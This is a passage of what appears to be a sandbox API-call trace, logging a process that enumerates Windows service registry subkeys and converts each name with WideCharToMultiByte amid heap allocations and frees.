Size=0x40) returned 0x21f1b68 [0248.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.060] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.061] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.061] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.061] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0248.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0248.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.061] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.061] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.062] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.062] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.062] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.062] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0248.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.063] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.063] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.063] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0248.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.064] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.064] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.064] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.064] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0248.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.065] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.065] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.065] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0248.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.066] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.066] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.066] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.066] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0248.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 